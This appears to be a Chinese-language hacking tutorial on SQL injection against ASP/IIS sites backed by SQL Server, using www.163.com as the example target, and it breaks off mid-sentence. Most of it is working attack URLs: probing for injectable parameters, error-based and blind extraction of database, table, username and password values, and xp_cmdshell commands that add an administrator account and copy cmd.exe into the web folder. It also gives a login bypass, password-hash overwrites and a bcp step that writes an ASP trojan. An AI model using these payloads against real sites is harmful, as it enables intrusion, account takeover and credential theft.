如果程式沒有過濾好“’”的話，就會提示 news.asp執行異常；但這樣的方法雖然很簡單，但並不是最好的，因為：
first,不一定每臺伺服器的IIS都返回具體錯誤提示給客戶端，如果程式中加了cint(引數)之類語句的話，SQL注入是不會成功的，但伺服器同樣會報錯，具體提示資訊為處理 URL 時伺服器上出錯。請和系統管理員聯絡。
second，目前大多數程式設計師已經將“’“ 過濾掉，所以用” ’”測試不到注入點，所以一般使用經典的1=1和1=2測試方法，見下文：
HTTP://www.163.com/news.asp?id=xx and 1=1, news.asp執行正常，而且與HTTP://www.163.com/news.asp?id=xx執行結果相同；
HTTP://www.163.com/news.asp?id=xx and 1=2, news.asp執行異常；（這就是經典的 1=1 1=2 判斷方法）
如果以上面滿足，news.asp中就會存在SQL注入漏洞，反之則可能不能注入。
2、字串型引數的判斷
方法與數值型引數判斷方法基本相同
當輸入的引數xx為字串時，通常news.asp中SQL語句原貌大致如下：
select * from 表名 where 欄位=’xx’，所以可以用以下步驟測試SQL注入是否存在。
HTTP://www.163.com/news.asp?id=xx’(附加一個單引號)，此時news.asp中的SQL語句變成了
select * from 表名 where 欄位=xx’，news.asp執行異常；
HTTP://www.163.com/news.asp?id=xx and ‘1’=’1’, news.asp執行正常，而且與HTTP://www.163.com/news.asp?id=xx執行結果相同；
HTTP://www.163.com/news.asp?id=xx and ‘1’=’2’, news.asp執行異常；
如果以上滿足，則news.asp存在SQL注入漏洞，反之則不能注入
3、特殊情況的處理
有時ASP程式設計師會在程式設計師過濾掉單引號等字元，以防止SQL注入。此時可以用以下幾種方法試一試。
①大小定混合法：由於VBS並不區分大小寫，而程式設計師在過濾時通常要麼全部過濾大寫字串，要麼全部過濾小寫字串，而大小寫混合往往會被忽視。如用SelecT代替select,SELECT等；
②UNICODE法：在IIS中，以UNICODE字符集實現國際化，我們完全可以IE中輸入的字串化成UNICODE字串進行輸入。如+ =%2B，空格=%20 等；URLEncode資訊參見附件一；
③ASCII碼法：可以把輸入的部分或全部字元全部
＜4＞出了上述方法以外，還有個更簡單的方法就是使用現成的工具像NB聯盟的NBSI就是一款很不錯的工具，目前最新的版本為2.2
二、判斷資料庫型別
不同的資料庫的函式、注入方法都是有差異的，所以在注入之前，我們還要判斷一下資料庫的型別。一般ASP最常搭配的資料庫是Access和SQLServer，網上超過99%的網站都是其中之一。
怎麼讓程式告訴你它使用的什麼資料庫呢？來看看：
SQLServer有一些系統變數，如果伺服器IIS提示沒關閉，並且SQLServer返回錯誤提示的話，那可以直接從出錯資訊獲取，方法如下：
HTTP://www.163.com/news.asp?id=xx;and user＞0
這句語句很簡單，但卻包含了SQLServer特有注入方法的精髓，我自己也是在一次無意的測試中發現這種效率極高的猜解方法。讓我看來看看它的含義：首先，前面的語句是正常的，重點在and user＞0，我們知道，user是SQLServer的一個內建變數，它的值是當前連線的使用者名稱，型別為nvarchar。拿一個 nvarchar的值跟int的數0比較，系統會先試圖將nvarchar的值轉成int型，當然，轉的過程中肯定會出錯，SQLServer的出錯提示是：將nvarchar值 ”abc” 轉換資料型別為 int 的列時發生語法錯誤，呵呵，abc正是變數user的值，這樣，不廢吹灰之力就拿到了資料庫的使用者名稱。在以後的篇幅裡，大家會看到很多用這種方法的語句。 順便說幾句，眾所周知，SQLServer的使用者sa是個等同Adminstrators許可權的角色，拿到了sa許可權，幾乎肯定可以拿到主機的 Administrator了。上面的方法可以很方便的測試出是否是用sa登入，要注意的是：如果是sa登入，提示是將”dbo”轉換成int的列發生錯誤，而不是”sa”。
如果伺服器IIS不允許返回錯誤提示，那怎麼判斷資料庫型別呢？我們可以從Access和SQLServer和區別入手，Access和 SQLServer都有自己的系統表，比如存放資料庫中所有物件的表，Access是在系統表[msysobjects]中，但在Web環境下讀該表會提示“沒有許可權”，SQLServer是在表[sysobjects]中，在Web環境下可正常讀取。
在確認可以注入的情況下，使用下面的語句：
HTTP://www.163.com/news.asp?id=xx ;and (select count(*) from sysobjects)＞0
HTTP://www.163.com/news.asp?id=xx ;and (select count(*) from msysobjects)＞0
如果資料庫是SQLServer，那麼第一個網址的頁面與原頁面HTTP://www.163.com/news.asp?id=xx是大致相同的；而第二個網址，由於找不到表msysobjects，會提示出錯，就算程式有容錯處理，頁面也與原頁面完全不同。
如果資料庫用的是Access，那麼情況就有所不同，第一個網址的頁面與原頁面完全不同；第二個網址，則視乎資料庫設定是否允許讀該系統表，一般來說是不允許的，所以與原網址也是完全不同。大多數情況下，用第一個網址就可以得知系統所用的資料庫型別，第二個網址只作為開啟IIS錯誤提示時的驗證。
三、確定XP_CMDSHELL可執行情況
若當前連線資料的帳號具有SA許可權，且master.dbo.xp_cmdshell擴充套件儲存過程(呼叫此儲存過程可以直接使用作業系統的shell)能夠正確執行，則整個計算機可以通過以下幾種方法完全控制，以後的所有步驟都可以省
1、HTTP://www.163.com/news.asp?id=xx and user＞;0 news.asp執行異常但可以得到當前連線資料庫的使用者名稱(若顯示dbo則代表SA)。
2、HTTP://www.163.com/news.asp?id=xx and db_name()＞0 news.asp執行異常但可以得到當前連線的資料庫名。
3、HTTP://www.163.com/news.asp?id=xx；exec master..xp_cmdshell “net user aaa bbb /add”– (master是SQL-SERVER的主資料庫；名中的分號表示SQL-SERVER執行完分號前的語句名，繼續執行其後面的語句；“—”號是註解，表示其後面的所有內容僅為註釋，系統並不執行)可以直接增加作業系統帳戶aaa,密碼為bbb。
4、HTTP://www.163.com/news.asp?id=xx；exec master..xp_cmdshell “net localgroup administrators aaa /add”– 把剛剛增加的帳戶aaa加到administrators組中。
5、HTTP://www.163.com/news.asp?id=xx；backuup database 資料庫名 to disk=’c:/inetpub/wwwroot/save.db’ 則把得到的資料內容
全部備份到WEB目錄下，再用HTTP把此檔案下載(當然首選要知道WEB虛擬目錄)。
6、通過複製CMD建立UNICODE漏洞
HTTP://www.163.com/news.asp?id=xx;exec master.dbo.xp_cmdshell “copy c:/winnt/system32/cmd.exe
c:/inetpub/scripts/cmd.exe” 便製造了一個UNICODE漏洞，通過此漏洞的利用方法，便完成了對整個計算機的控制(當然首選要知道WEB虛擬目錄)。
這樣你就成功的完成了一次SQL注入攻擊，先別興奮，在實踐時你就會發現這比理論要難的多會有更多的困難等著你come over ，下面GO ON如果上述條件不成立則需繼續奮鬥（要掛馬了：））
GO ON~!
當上述條件不成立時就要繼續下面的步驟
(一)、發現WEB虛擬目錄
只有找到WEB虛擬目錄，才能確定放置ASP木馬的位置，進而得到USER許可權。有兩種方法比較有效。
一是根據經驗猜解，一般來說，WEB虛擬目錄是：c:/inetpub/wwwroot;
D:/inetpub/wwwroot; E:/inetpub/wwwroot等，而可執行虛擬目錄是：
c:/inetpub/scripts; D:/inetpub/scripts; E:/inetpub/scripts等。
二是遍歷系統的目錄結構，分析結果並發現WEB虛擬目錄；
先建立一個臨時表：temp
HTTP://www.163.com/news.asp?id=xx;create table temp(id nvarchar(255),num1 nvarchar(255),num2
nvarchar(255),num3
nvarchar(255));–
接下來：
1 我們可以利用xp_availablemedia來獲得當前所有驅動器,並存入temp表中：
HTTP://www.163.com/news.asp?id=xx;insert temp exec master.dbo.xp_availablemedia;–
我們可以通過查詢temp的內容來獲得驅動器列表及相關資訊
2 我們可以利用xp_subdirs獲得子目錄列表,並存入temp表中：
HTTP://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_subdirs ‘c:/’;–
3 我們還可以利用xp_dirtree獲得所有子目錄的目錄樹結構,並寸入temp表中：
HTTP://www.163.com/news.asp?id=xx;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘c:/’;–
這樣就可以成功的瀏覽到所有的目錄（資料夾）列表：
如果我們需要檢視某個檔案的內容，可以通過執行xp_cmdsell：
HTTP://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell ‘type c:/web/index.asp’;–
使用’bulk insert’語法可以將一個文字檔案插入到一個臨時表中。如：bulk insert temp(id) from ‘c:/inetpub/wwwroot/index.asp’
瀏覽temp就可以看到index.asp檔案的內容了！通過分析各種ASP檔案，可以得到大量系統資訊，WEB建設與管理資訊，甚至可以得到SA帳號的連線密碼。
當然，如果xp_cmshell能夠執行，我們可以用它來完成：
HTTP://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell ‘dir c:/’;–
HTTP://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell ‘dir c:/ *.asp /s/a’;–
通過xp_cmdshell我們可以看到所有想看到的，包括W3svc
HTTP://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell ‘cscript
C:/Inetpub/AdminScripts/adsutil.vbs enum w3svc’
但是，如果不是SA許可權，我們還可以使用
HTTP://www.163.com/news.asp?id=xx;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘c:/’;–
注意：
1、以上每完成一項瀏覽後，應刪除TEMP中的所有內容，刪除方法是：
HTTP://www.163.com/news.asp?id=xx;delete from temp;–
2、瀏覽TEMP表的方法是：(假設TestDB是當前連線的資料庫名)
HTTP://www.163.com/news.asp?id=xx and (select top 1 id from TestDB.dbo.temp )＞0
得到表TEMP中第一條記錄id欄位的值，並與整數進行比較，顯然news.asp工作異常，但在異常中卻以發現id欄位的值。假設發現的表名是xyz，則
HTTP://www.163.com/news.asp?id=xx and (select top 1 id from TestDB.dbo.temp )＞0 where id not in(‘xyz’))＞0
得到表TEMP中第二條記錄id欄位的值。
(二)、上傳ASP木馬
所謂ASP木馬，就是一段有特殊功能的ASP程式碼，並放入WEB虛擬目錄的Scripts下，遠端客戶通過IE就
可執行它，進而得到系統的USER許可權，實現對系統的初步控制。上傳ASP木馬一般有兩種比較有效的方法：
1、利用WEB的遠端管理功能
許多WEB站點，為了維護的方便，都提供了遠端管理的功能；也有不少WEB站點，其內容是對於不同的
使用者有不同的訪問許可權。為了達到對使用者許可權的控制，都有一個網頁，要求使用者名稱與密碼，只有輸入了正確的值，才能進行下一步的操作,可以實現對WEB的管理，如上傳、下載檔案，目錄瀏覽、修改配置等。
因此，若獲取正確的使用者名稱與密碼，不僅可以上傳ASP木馬，有時甚至能夠直接得到USER許可權而瀏覽系統，上一步的“發現WEB虛擬目錄”的複雜操作都可省略。
使用者名稱及密碼一般存放在一張表中，發現這張表並讀取其中內容便解決了問題。以下給出兩種有效方法。
A、 注入法：
從理論上說，認證網頁中會有型如：
select * from admin where username=’XXX’ and password=’YYY’ 的語句，若在正式執行此句之前，沒有進行必要的字元過濾，則很容易實施SQL注入。
如在使用者名稱文字框內輸入：abc’ or 1=1– 在密碼框內輸入：123 則SQL語句變成：
select * from admin where username=’abc’ or 1=1 and password=’123’
不管使用者輸入任何使用者名稱與密碼，此語句永遠都能正確執行，使用者輕易騙過系統，獲取合法身份。
B、猜解法：
基本思路是：猜解所有資料庫名稱，猜出庫中的每張表名，分析可能是存放使用者名稱與密碼的表名，猜出表中的每個欄位名，猜出表中的每條記錄內容。
a 猜解所有資料庫名稱
HTTP://www.163.com/news.asp?id=xx and (select count(*) from master.dbo.sysdatabases where name＞1 and dbid=6) ＜＞0
因為dbid的值從1到5，是系統用了。所以使用者自己建的一定是從6開始的。並且我們提交了 name＞1
(name欄位是一個字元型的欄位和數字比較會出錯),news.asp工作異常，可得到第一個資料庫名，同理把DBID分別改成7,8，9,10,11,12…就可得到所有資料庫名。
以下假設得到的資料庫名是TestDB。
b 猜解資料庫中使用者名錶的名稱
猜解法：此方法就是根據個人的經驗猜表名，一般來說，
user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuser,
systemusers,sysuser,sysusers,sysaccounts,systemaccounts等。並通過語句進行判斷
HTTP://www.163.com/news.asp?id=xx and (select count(*) from TestDB.dbo.表名)＞0 若表名存在，則news.asp工作正常，否則異常。如此迴圈，直到猜到系統帳號表的名稱。
讀取法：SQL-SERVER有一個存放系統核心資訊的表sysobjects，有關一個庫的所有表，檢視等資訊全部存放在此表中，而且此表可以通過WEB進行訪問。
當xtype=’U’ and status＞0代表是使用者建立的表，發現並分析每一個使用者建立的表及名稱，便可以得到使用者名錶的名稱，基本的實現方法是：
①HTTP://www.163.com/news.asp?id=xx and (select top 1 name from TestDB.dbo.sysobjects where xtype=’U’ and status＞0 )＞0
得到第一個使用者建立表的名稱，並與整數進行比較，顯然news.asp工作異常，但在異常中卻可以發現表的名稱。假設發現的表名是xyz，則
②HTTP://www.163.com/news.asp?id=xx and (select top 1 name from TestDB.dbo.sysobjects where xtype=’U’ and status＞0 and name not in(‘xyz’))＞0 可以得到第二個使用者建立的表的名稱，同理就可得到所有用建立的表的名稱。
根據表的名稱，一般可以認定那張表使用者存放使用者名稱及密碼，以下假設此表名為Admin。
c 猜解使用者名稱欄位及密碼欄位名稱
admin表中一定有一個使用者名稱欄位，也一定有一個密碼欄位，只有得到此兩個欄位的名稱，才有可能得到此兩欄位的內容。如何得到它們的名稱呢，同樣有以下兩種方法。
猜解法：此方法就是根據個人的經驗猜欄位名，一般來說，使用者名稱欄位的名稱常用：username,name,user,account等。而密碼欄位的名稱常用：password,pass,pwd,passwd等。並通過語句進行判斷
HTTP://www.163.com/news.asp?id=xx and (select count(欄位名) from TestDB.dbo.admin)＞0
“select count(欄位名) from 表名”
語句得到表的行數，所以若欄位名存在，則news.asp工作正常，否則異常。如此迴圈，直到猜到兩個欄位的名稱。
讀取法：基本的實現方法是
HTTP://www.163.com/news.asp?id=xx and (select top 1 col_name(object_id(‘admin’),1) from
TestDB.dbo.sysobjects)＞0 。
select top 1 col_name(object_id(‘admin’),1) from TestDB.dbo.sysobjects是從sysobjects得到已知表名的第一個欄位名，當與整數進行比較，顯然news.asp工作異常，但在異常中卻可以發現欄位的名稱。把col_name(object_id(‘admin’),1)中的1依次換成2,3,4,5，6…就可得到所有的欄位名稱。
d 猜解使用者名稱與密碼
猜使用者名稱與密碼的內容最常用也是最有效的方法有：
ASCII碼逐字解碼法:雖然這種方法速度較慢，但肯定是可行的。基本的思路是先猜出欄位的長度，然後依次猜出每一位的值。猜使用者名稱與猜密碼的方法相同，以下以猜使用者名稱為例說明其過程。
HTTP://www.163.com/news.asp?id=xx and (select top 1 len(username) from TestDB.dbo.admin)=X(X=1,2，3,4，5，… n，username
為使用者名稱欄位的名稱，admin為表的名稱)，若x為某一值i且news.asp執行正常時，則i就是第一個使用者名稱的長度。如：當輸入
HTTP://www.163.com/news.asp?id=xx and (select top 1 len(username) from TestDB.dbo.admin)=8時
news.asp執行正常，則第一個使用者名稱的長度為8
HTTP://www.163.com/news.asp?id=xx and (select top 1 ascii(substring(username,m,1)) from TestDB.dbo.admin)=n
(m的值在1到上一步得到的使用者名稱長度之間，當m=1，2,3，…時猜測分別猜測第1,2,3,…位的值；n的值是1~9、a~z、A~Z的ASCII值，也就是1~128之間的任意值；admin為系統使用者帳號表的名稱)，若n為某一值i且news.asp執行正常時，則i對應ASCII碼就是使用者名稱某一位值。如：當輸入HTTP://www.163.com/news.asp?id=xx and (select top 1 ascii(substring(username,3,1)) from TestDB.dbo.admin)=80時news.asp執行正常，則使用者名稱的第三位為P(P的ASCII為80)；
HTTP://www.163.com/news.asp?id=xx and (select top 1 ascii(substring(username,9,1)) from TestDB.dbo.admin)=33時news.asp執行正常，則使用者名稱的第9位為!(!的ASCII為80)；猜到第一個使用者名稱及密碼後，同理，可以猜出其他所有使用者名稱與密碼。注意：有時得到的密碼可能是經MD5等方式加密後的資訊，還需要用專用工具進行脫密。或者先改其密碼，使用完後再改回來，見下面說明。簡單法：猜使用者名稱用HTTP://www.163.co/news.asp?id=xx and (select top 1 flag from TestDB.dbo.admin where username＞1) ,
flag是admin表中的一個欄位，username是使用者名稱欄位，此時news.asp工作異常，但能得到Username的值。與上同樣的方法，可以得到第二使用者名稱，第三個使用者等等，直到表中的所有使用者名稱。
猜使用者密碼：HTTP://www.163.com/news.asp?id=xx and (select top 1 flag from TestDB.dbo.admin where pwd＞1) , flag是admin表中的一個欄位，pwd是密碼欄位，此時news.asp工作異常，但能得到pwd的值。與上同樣的方法，可以得到第二使用者名稱的密碼，第三個使用者的密碼等等，直到表中的所有使用者的密碼。密碼有時是經MD5加密的，可以改密碼
HTTP://www.163.com/news.asp?id=xx;update TestDB.dbo.admin set pwd=’ a0b923820dcc509a’
where username=’www’;– ( 1的MD5值為：AAABBBCCCDDDEEEF，即把密碼改成1；www為已知的使用者名稱)用同樣的方法當然可把密碼改原來的值。
2、利用表內容導成檔案功
SQL有BCP命令，它可以把表的內容導成文字檔案並放到指定位置。利用這項功能，我們可以先建一張臨時表，然後在表中一行一行地輸入一個ASP木馬，然後用BCP命令匯出形成ASP檔案。
命令列格式如下：
bcp “select * from text..foo” queryout c:/inetpub/wwwroot/163.asp –c –S localhost –U sa
–P foobar
(‘S’引數為執行查詢的伺服器，’U’引數為使用者名稱，’P’引數為密碼，最終上傳了一個163.asp的木馬)
3、利用工具，如NBSI給出的一些參考資料最重要的表名：
select * from sysobjects
sysobjects ncsysobjects
sysindexes tsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses
最重要的一些使用者名稱（預設sql資料庫中存在著的）
public
dbo
guest(一般禁止，或者沒許可權)
db_sercurityadmin
ab_dlladmin
一些預設擴充套件
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
xp_availablemedia 驅動器相關
xp_dirtree 目錄
xp_enumdsn ODBC連線
xp_loginconfig 伺服器安全模式資訊
xp_makecab 建立壓縮卷
xp_ntsec_enumdomains domain資訊
xp_terminate_process 終端程序，給出一個PID
(三)、得到系統的管理員許可權
ASP木馬只有USER許可權，要想獲取對系統的完全控制，還要有系統的管理員許可權。怎麼